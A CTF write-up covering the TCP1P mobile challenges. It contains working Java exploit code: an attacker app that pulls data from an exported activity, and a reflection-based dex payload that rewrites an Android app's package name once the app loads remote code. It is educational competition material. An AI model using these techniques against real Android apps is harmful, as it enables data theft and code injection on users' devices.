Try   HackMD

Mobile Writeups for TCP1P Capture The Flag

Introduction

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

I participated in the TCP1P CTF with the MAGER team under the nickname "azka." I successfully completed all of the Mobile Challenges in TCP1P and achieved first blood in several challenges.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Furthermore, I won the opportunity to write a writeup for the Internals challenges in Bahasa.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Android Virtual Device from TCP1P

They created an infrastructure for an Android Virtual Device that will be deployed on a website, allowing participants to simply connect and access it for testing our exploits and obtaining the flag, they upload the project of this AVD on their github repository.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Rules of the challenges

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Intention: 356 pts

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Challenge apk: challenge.apk

Static Analysis

Like with pentesting on Android, I typically begin by opening my JADX tools to examine the contents of the APK. The first step is to review the AndroidManifest.xml file to assess the app's permissions, activities and what intents did this app use.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

On this manifest file, my focuss is on this two activity that having value android:exported="true", we know if the application having this configuration on their app we can call this activity on another application that installed on the same device, and there is a class on com.kuro.intention.FlagSender that take my focuss on.

com.kuro.intention.FlagSender

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Within the onCreate method, the app attempts to open a file flag.txt using openFileInput and reads its contents into a byte array with buffer. Once the flag is successfully read, it is converted into a string. Then sets the result code to -1 and attaches the flag as an extra to the intent using putExtra. The setResult method is used to package and send this data. In Android, the setResult method is used to set a result code and optional data (usually in the form of an Intent) to be returned to the calling activity when the current activity finishes. It's commonly employed when one activity launches another and expects a result from it. The calling activity can then handle this result using the onActivityResult method, gaining access to the result code and any returned data, which allows the calling activity to take actions based on the outcome of the launched activity.

Creating a malicious app

The attack scenario is quite straightforward. We can create another application that start the FlagSender activity intent and retrieves the flag from the extra that returned in the setResult call.

package com.example.exploitintentionss;

import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender"));
        startActivityForResult(intent, 1337);

    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        Log.d("MyApp", "onActivityResult called with requestCode: " + requestCode + ", resultCode: " + resultCode);

        if (requestCode == 1337) {
            if (resultCode == -1 && data != null) {
                String flag = data.getStringExtra("flag");

                TextView flagTextView = findViewById(R.id.textView);
                flagTextView.setText("Flag: " + flag);
            } else {
                TextView flagTextView = findViewById(R.id.textView);
                flagTextView.setText("Something went wrong: "+ resultCode + data);
            }
        }
    }
}

On the code that i provided to exploit the app was quite simple, we simply start the intent of FlagSender and receive the intent then get the flag from the extra intent and put it on my textView. Because of the FlagSender activity does not call finish(), you need to manually press the back button because of we need to return to our (attacker) activity.

Imagery: 436 pts

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Challenge apk: challenge.apk

Static Analysis

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Netsight:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Internals: 499 pts

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Challenge apk: challenge.apk

Given a challenge named Internals with the following description:

Let's see how well your knowledge about android internals. Using any type of external library will deduct your points by half.

Hint :

  1. You do know android is open source right? Then it's time to read the source code! Especially on getPackageName.
  2. Do some OSINT on the author's repositories, maybe you'll find an interesting project.

From the description given, it seems that we are challenged by the problem setter regarding our knowledge of android internals, and the problem setter also prohibits us from using external libraries to carry out the exploit, even if we use external libraries we will get a point reduction.

Now try to install and open this challenge application first and see how it looks.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

It can be seen that this application requests a url that will download payload.dex and will load the dex.

Okay after reading the description and content of the application from the question we need to look first at the source code of this internals application, and found one activity namely MainActivity only:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Below is the source code of the MainActivity :

package com.kuro.internals;

import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    Button btn_load;
    EditText input_url;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.input_url = (EditText) findViewById(R.id.input_url);
        Button button = (Button) findViewById(R.id.btn_load);
        this.btn_load = button;
        button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                String url = MainActivity.this.input_url.getText().toString();
                if (url.isEmpty()) {
                    AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                    builder.setTitle("Error");
                    builder.setMessage("URL cannot be empty!");
                    builder.setCancelable(false);
                    builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                    builder.show();
                    return;
                }
                MainActivity.this.downloadDex(url);
            }
        });
    }

    void downloadDex(String url) {
        ProgressDialog pDialog = new ProgressDialog(this);
        pDialog.setTitle("Downloading...");
        pDialog.setMessage("Please wait...");
        pDialog.setCancelable(false);
        pDialog.setProgressStyle(0);
        pDialog.show();
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Handler handler = new Handler(Looper.getMainLooper());
        executor.execute(new AnonymousClass2(url, handler, pDialog));
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* renamed from: com.kuro.internals.MainActivity$2  reason: invalid class name */
    /* loaded from: classes3.dex */
    public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    void loadDex() {
        File dexPath = getFileStreamPath("payload.dex");
        if (!dexPath.exists()) {
            AlertDialog.Builder builder = new AlertDialog.Builder(this);
            builder.setTitle("Error");
            builder.setMessage("payload.dex not found");
            builder.setCancelable(false);
            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
            builder.show();
            return;
        }
        try {
            DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
            Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
            clazz.getMethod("execute", new Class[0]).invoke(null, null);
            if (getPackageName().equals("l33t_h4x0r")) {
                AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
                builder2.setTitle("Gr4tz");
                builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
                builder2.setCancelable(false);
                builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                builder2.show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

It can be seen that the application uses the activity_main layout which can be found in jadx in the Resources/res/layout/activity_main.xml folder, this application also has 1 button and 1 EditText.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So simply when the user has entered the url into the box and pressed the button, the application will retrieve the url and throw it to the downloadDex function, if the user does not enter the url into the box it will display a popup URL cannot be empty!.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

In the downloadDex function, we can see that the application will pop up the Downloading... dialog and will throw it to the AnonymousClass2 function.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Here is the source code of the AnonymousClass2 function

public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

After reading the source code of the AnonymousClass2 function, we can see that it tries to download the dex file from the url we provide and save it with the file name payload.dex which will then be redirected to the loadDex() function.

And this is where the interesting part comes in and how we will create the malicious dex.

Which in this function first checks whether there is a payload.dex file in our application files folder, it is necessary to note that every file loaded by Android Studio is in the /data/data/[apk package name]/files folder, so in this code the challenge application will first check whether the payload.dex file is there or not in our files folder.

Furthermore, when the payload.dex file is in the files folder, payload.dex will be loaded with DexClassLoader which will be checked using Reflection to load the class in the dex file, which in this code the challenge application tries to load the class from the com.kuro.payload with the class name Main and also take the method of execute to run in the challenge application, after successfully loadClass from payload.dex then will check the package name of the challenge application which is currently is com.kuro.internals has changed to a new package name or not, namely l33t_h4x0r, when this condition is met the application will display the flag.

After successfully understanding how the flow of this application runs, the author already has an idea of how to make the malicious dex so that when the dex that the author makes later can change the packageName of the challenge application from com.kuro.internals to l33t_h4x0r.

From the hint given by the question maker, the question maker asks us to do osint in his digithub account.

Finally the author found his github account and found an interesting repository in it, namely APKKiller, in this repository the creator of the problem tells that by using Reflection we can read and modify the internal classes and fields.

After reading and doing trial and error about Reflection the author found a way that we can use the class from ActivityThread to change the packageName to the packageName we want.

Try to create a new project in Android Studio with the following setup:

  1. Select Empty Views Activity and then Next.

  2. Make the name whatever you want, as long as the package name is com.kuro.payload because in the challenge application this package will be loaded, then choose Java as the programming language, because Reflection we can use in java.

  3. After that click Finish and wait for android studio to prepare the setup.

  4. After everything is done, we create a new class with the name Main because the challenge application will load the class from our package with the name Main by right-clicking on the com.kuro.payload package then click New -> Java Class.

  5. Enter the name Main and enter.

  6. We will use MainActivity activity first for debugging.

So the first step is to first find the field of packageName and then we set it to the new value

package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Field[] fs = clazz.getDeclaredFields();

            for(int i = 0; i < fs.length; i++) {
                Log.e("Field" + String.valueOf(i), fs[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Try using the code above and run it, then try to see the logcat because I put Log.e there for debugging and see the contents of the field from ActivityThread.

And get the field contents of the ActivityThread class.

As hinted by the question creator, getPackageName is found in mPackageInfo.

After spending a lot of time here, I finally found that in the mBoundApplication fields there is an info field.

package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

And finally we found the field of mPackageName

package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

//            Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
//            for(int i = 0; i < fields.length; i++) {
//                Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
//            }

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

After getting the correct field, now just change the value of mPackageName to l33t_h4x0r with the following code:

package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");

            Log.e("PackageName", getPackageName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

After running and viewing in logcat the package name has been successfully changed to l33t_h4x0r.

After that, just copy the code and input it into the Main class and in the execute function.

package com.kuro.payload;

import android.content.pm.ApplicationInfo;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
    public static void execute() {

        try {
            // Get the current ActivityThread instance
            Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            // Get the loaded package info
            Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            // Set the new package name
            Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
            packageNameField.setAccessible(true);
            packageNameField.set(loadedApkInfo, "l33t_h4x0r");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

After that, set the gradle so that when building the classes.dex it is only one and not multiple by adding the following config:

After that we build this project.

A popup will appear in the bottom right corner like the following.

Click locate and will be directed to the apk folder that has been built:

Enter the debug folder.

And this app-debug.apk is the result of our compile earlier, after that we open this apk in jadx to take the classes.dex and use it in the challenge application.

The compiled apk folder is in <Project Folder Name>\app\build\outputs\apk\debug.

After opening with jadx, we save all the decompiled results and put them in a folder, I myself put it in the kelasss folder.

After that we copy the classes.dex contained in the kelasss/resources/classes.dex folder to another folder so that we can transfer it to the challenge application.

I put it in the internals folder only and I rename it to payload.dex and run http.server and ngrok, after that just enter the url into the box and our exploit is successful to get the flag.

Just run on Virtual Android Device and get the flag:

Reference: